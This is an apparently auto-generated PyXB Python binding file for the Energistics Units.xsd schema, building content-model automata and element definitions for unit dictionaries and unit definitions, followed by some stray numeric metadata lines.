fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4)) counters.add(cc_7) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'QuantityType')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SameUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Display')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = None symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Deprecated')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6)) st_9 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4)) st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_10) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) transitions.append(fac.Transition(st_9, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False) ])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ ])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ ])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, True) ])) st_10._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) unitDictionaryType._Automaton = _BuildAutomaton_15() unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), explicitType, scope=unitDefinitionType, documentation='\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Display'), displayType, scope=unitDefinitionType, documentation='\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), baseUnitType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown'), pyxb.binding.datatypes.boolean, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), conversionType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8))) unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), compositeUnitType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4))) def _BuildAutomaton_16 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_16 del _BuildAutomaton_16 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4)) counters.add(cc_6) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'QuantityType')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Display')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False) ])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, True) ])) st_8._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) unitDefinitionType._Automaton = _BuildAutomaton_16()
65.330093
902
0.749087
21,638
174,758
5.878593
0.044274
0.030872
0.038868
0.057735
0.849427
0.829341
0.8035
0.784577
0.748901
0.73604
0
0.021418
0.133825
174,758
2,674
903
65.354525
0.818909
0.100819
0
0.654267
1
0.032823
0.282703
0.038061
0
0
0
0
0
1
0.010394
false
0
0.01477
0
0.224836
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
085a96fff3ce48ce2dee70d6958ea2079e169507
6,830
py
Python
mozillians/geo/migrations/0001_initial.py
caktus/mozillians
312eb5d993b60092fa4f8eb94548c1db4b21fa01
[ "BSD-3-Clause" ]
null
null
null
mozillians/geo/migrations/0001_initial.py
caktus/mozillians
312eb5d993b60092fa4f8eb94548c1db4b21fa01
[ "BSD-3-Clause" ]
null
null
null
mozillians/geo/migrations/0001_initial.py
caktus/mozillians
312eb5d993b60092fa4f8eb94548c1db4b21fa01
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Country' db.create_table('geo_country', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(unique=True, max_length=120)), ('code', self.gf('django.db.models.fields.CharField')(unique=True, max_length=2)), ('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)), )) db.send_create_signal('geo', ['Country']) # Adding model 'Region' db.create_table('geo_region', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=120)), ('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)), ('country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])), )) db.send_create_signal('geo', ['Region']) # Adding model 'City' db.create_table('geo_city', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=120)), ('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)), ('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Region'], null=True, blank=True)), ('country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])), ('lat', self.gf('django.db.models.fields.FloatField')()), ('lng', self.gf('django.db.models.fields.FloatField')()), ('w', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)), ('s', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)), ('e', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)), ('n', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)), )) db.send_create_signal('geo', ['City']) # Adding model 'Geocoding' db.create_table('geo_geocoding', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('country', self.gf('django.db.models.fields.CharField')(default='', max_length=50)), ('region', self.gf('django.db.models.fields.CharField')(default='', max_length=255, blank=True)), ('city', self.gf('django.db.models.fields.CharField')(default='', max_length=255, blank=True)), ('geo_country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])), ('geo_region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Region'], null=True, on_delete=models.SET_NULL, blank=True)), ('geo_city', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.City'], null=True, on_delete=models.SET_NULL, blank=True)), )) db.send_create_signal('geo', ['Geocoding']) def backwards(self, orm): # Deleting model 'Country' db.delete_table('geo_country') # Deleting model 'Region' db.delete_table('geo_region') # Deleting model 'City' db.delete_table('geo_city') # Deleting model 'Geocoding' db.delete_table('geo_geocoding') models = { 'geo.city': { 'Meta': {'object_name': 'City'}, 'country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}), 'e': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'lat': ('django.db.models.fields.FloatField', [], {}), 'lng': ('django.db.models.fields.FloatField', [], {}), 'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}), 'n': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '120'}), 'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Region']", 'null': 'True', 'blank': 'True'}), 's': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'w': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}) }, 'geo.country': { 'Meta': {'object_name': 'Country'}, 'code': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '2'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '120'}) }, 'geo.geocoding': { 'Meta': {'object_name': 'Geocoding'}, 'city': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}), 'country': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '50'}), 'geo_city': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.City']", 'null': 'True', 'on_delete': 'models.SET_NULL', 'blank': 'True'}), 'geo_country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}), 'geo_region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Region']", 'null': 'True', 'on_delete': 'models.SET_NULL', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'region': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}) }, 'geo.region': { 'Meta': {'object_name': 'Region'}, 'country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '120'}) } } complete_apps = ['geo']
60.442478
171
0.575842
793
6,830
4.862547
0.089533
0.109959
0.188797
0.26971
0.823651
0.799015
0.789678
0.756483
0.754668
0.727178
0
0.009096
0.195168
6,830
113
172
60.442478
0.692378
0.0306
0
0.266667
0
0
0.455082
0.277677
0
0
0
0
0
1
0.022222
false
0
0.044444
0
0.1
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f23338f379cbad5d43821504b410616bc01b2699
69
py
Python
src/python/zquantum/core/openfermion/__init__.py
TimWeaving/z-quantum-core
a47eb6e3b74958e4c7106ab5702cf1e19d39b14a
[ "Apache-2.0" ]
24
2020-04-15T17:36:59.000Z
2022-01-25T05:02:14.000Z
src/python/zquantum/core/openfermion/__init__.py
TimWeaving/z-quantum-core
a47eb6e3b74958e4c7106ab5702cf1e19d39b14a
[ "Apache-2.0" ]
177
2020-04-23T15:19:59.000Z
2022-03-30T18:06:17.000Z
src/python/zquantum/core/openfermion/__init__.py
TimWeaving/z-quantum-core
a47eb6e3b74958e4c7106ab5702cf1e19d39b14a
[ "Apache-2.0" ]
19
2020-06-24T10:56:02.000Z
2021-09-30T13:02:21.000Z
from ._io import * # noqa: F403 from ._utils import * # noqa: F403
23
35
0.652174
10
69
4.3
0.6
0.465116
0.651163
0
0
0
0
0
0
0
0
0.113208
0.231884
69
2
36
34.5
0.698113
0.304348
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f24589259df1d76445a573b211d898729242bae9
10,107
py
Python
sos_trades_core/tests/l0_test_66_debug_modes.py
os-climate/sostrades-core
bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9
[ "Apache-2.0" ]
8
2022-01-10T14:44:28.000Z
2022-03-31T08:57:14.000Z
sos_trades_core/tests/l0_test_66_debug_modes.py
os-climate/sostrades-core
bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9
[ "Apache-2.0" ]
null
null
null
sos_trades_core/tests/l0_test_66_debug_modes.py
os-climate/sostrades-core
bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9
[ "Apache-2.0" ]
1
2022-02-21T14:51:45.000Z
2022-02-21T14:51:45.000Z
